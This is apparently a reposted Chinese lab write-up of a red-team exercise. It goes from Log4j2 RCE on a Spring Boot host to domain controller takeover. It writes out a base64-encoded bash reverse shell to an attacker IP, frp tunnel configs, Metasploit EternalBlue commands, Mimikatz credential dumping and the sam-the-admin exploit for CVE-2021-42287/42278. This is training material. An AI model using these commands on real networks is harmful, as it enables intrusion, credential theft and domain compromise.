vlambda博客
学习文章列表

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC


  • 靶机信息

  • 实验过程


靶机信息

文章最后附靶机下载地址
解压密码:[email protected]

外网服务器:ubantu16

ip:192.168.0.251

user:saul

pass:Saul123


# 重启后,需要手动重新启动 Docker 容器
sudo docker start  cc4ddedd1727




域控:

hostname:AD

user : Administrator

pass : Admin123456



域个人机器

hostname:win7

本地用户:hong:密码空

域账户:redteam/root:Red12345

实验过程

先探测内网存活主机

sudo arp-scan --interface eth0 192.168.0.1/24

这里 192.168.0.129  就是Ubuntu的系统

然后对Ubuntu系统进行常规的端口扫描

# -Pn:跳过ping扫描,因为Nmap扫描前会进行Ping,如果目标系统禁Ping,则Nmap 如果ping不通则会跳过扫描
# 禁止DNS反向解析,如果单纯扫描一段IP,该选项可以大幅度减少目标主机响应时间
# -sT:TCP连接扫描,不安全,慢。建议用 -sT SYN扫描,使用最频繁,安全,快
nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.129

开了22和38080端口

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

发现是springboot,尝试使用最新爆出的CVE-2021-44228,尝试看看能不能获得dnslog

目前存在log4j2漏洞的组件
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

此处,Ubuntu出现了点问题无法出外网

这里我就用JNDIScan来不出网检测

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

有反应说明存在漏洞

那么下面开始反弹shell

下面开始反弹shell,这里需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all

# JNDI-Injection-Exploit-1.0-SNAPSHOT-all下载地址

https://github.com/Zard-ethan/JNDI-Injection-Exploit-1.0-SNAPSHOT-all

EXP如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}" -A "攻击机的地址"

我的Kali(192.168.0.128),我的语句如下

bash -i >& /dev/tcp/192.168.0.128/8888 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4Lzg4ODggMD4mMQ==

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.128"

这里我们选用这种没有要求的语句

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

Kali先开启监听

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

然后执行EXP

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

发现当前环境是docker环境

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

然后在root目录下发现flag

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

同时发现root的账号密码

saul Saul123

探测的时候发现其开放22端口,尝试登录SSH

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

通过ifconfig发现其存在2张网卡

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

10.0.1.6(内网),192.168.0.129(外网)

在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bash 和 python 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershell,bat、vbs 化,尽量不要过于依赖外部工具。

这里我们用bash来探测内网存活主机

 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fidone
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

发现还有1台10.0.1.6的主机

为了方便后续操作,后面我们通过frp将流量带出来

我在Kali上编辑frps.ini

[common]
bind_addr = 192.168.0.128
bind_port = 7000
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

然后在Ubuntu上编辑frpc.ini

[common]
server_addr = 192.168.0.128
server_port = 7000

[msf]
type = tcp
remote_port = 1088
plugin = socks5

这里我们将Kali的1088端口作为进入内网的端口,只要流量通过Kali的1088端口就可以达到Ubuntu从而进入内网

先开启Kali上的frps,然后在开启ubuntu上的frpc

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

然后我们开启msf

# 设置代理和允许反向连接
setg Proxies socks5:192.168.0.128:1088
setg ReverseAllowProxy true

然后我们扫描下10.0.1.7是否开启了smb服务

use auxiliary/scanner/smb/smb_version
set RhOSTS 10.0.1.7
run
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

可以看到10.0.1.7开启了smb服务,并且还存在域REDTEAM

然后我们进一步探测是否存在MS17-010漏洞

use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 10.0.1.7
run
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

可以看到10.0.1.7存在MS17-010漏洞

那么我们就用MS17-010漏洞来获取权限

use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.0.1.7
run
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

发现利用失败,因为默认使用的是reverse_tcp

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

可能由于目标出不来网,所以我们这边尝试用正向的bind,让Kali主动连过去

set payload windows/x64/meterpreter/bind_tcp
run
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

查看系统信息发现存在域环境

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

查看当前的权限

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

可以看到已经是system最高权限,如果是Administrator权限可以通过getsystem命令尝试自动提权

这里先将Win7的密码通过Mimikatz抓出来

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

抓到一个明文账号密码,这里需要注意的是,如果win7是重新启动没有进行登录过的话系统里面是不会存有用户登录的凭据的,所以这里需要在win7系统上对root账号进行登录一次

账号:root
密码:Red12345

通过meterpreter拿到一个shell

并更改编码方式,防止乱码

meterpreter > shell
C:\Windows\system32>chcp 65001

发现win7还有一张网卡

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

接下来定位域控

一般域用户都会从域控返回当前时间,可以以此来找到域控

C:\Windows\system32>net time /domain
net time /domain
Current time at \\DC.redteam.lab is 2022/4/23 22:46:32

The command completed successfully.

C:\Windows\system32>ping DC
ping DC

Pinging dc.redteam.lab [10.0.0.12] with 32 bytes of data:
Reply from 10.0.0.12: bytes=32 time<1ms TTL=128
Reply from 10.0.0.12: bytes=32 time<1ms TTL=128
Reply from 10.0.0.12: bytes=32 time<1ms TTL=128

也可以用下面的命令来寻找域控主机

net group "domain controllers" /domain
从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

可以看到域控主机IP为10.0.0.12

这里尝试使用最近爆出的两个域内内核漏洞:

CVE-2021-42287、CVE-2021-42278

将刚刚的会话先放到后台

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

使用MSF添加一个Socks

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

然后返回刚刚的会话添加路由信息

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

再次将bg会话放到后台,在msf主解密打印下路由也可以看到我们刚刚添加的路由信息

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

然后我们需要借助proxychains来将所有关于10.0.0.12/24的流量通过这个会话送到内网里面去

注意这里需要socks5类型

从外网 log4j2 RCE 到内网核弹组合拳漏洞 CVE-2021-42287、2021-42278 拿到 DC

然后执行EXP(https://github.com/WazeHell/sam-the-admin)

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

然后就能getshell

感谢红队攻防实验室提供的安全靶场!


https://pan.baidu.com/s/1lNV2y7-hpID_qfUGq7Zc1Q 

提取码: 7w65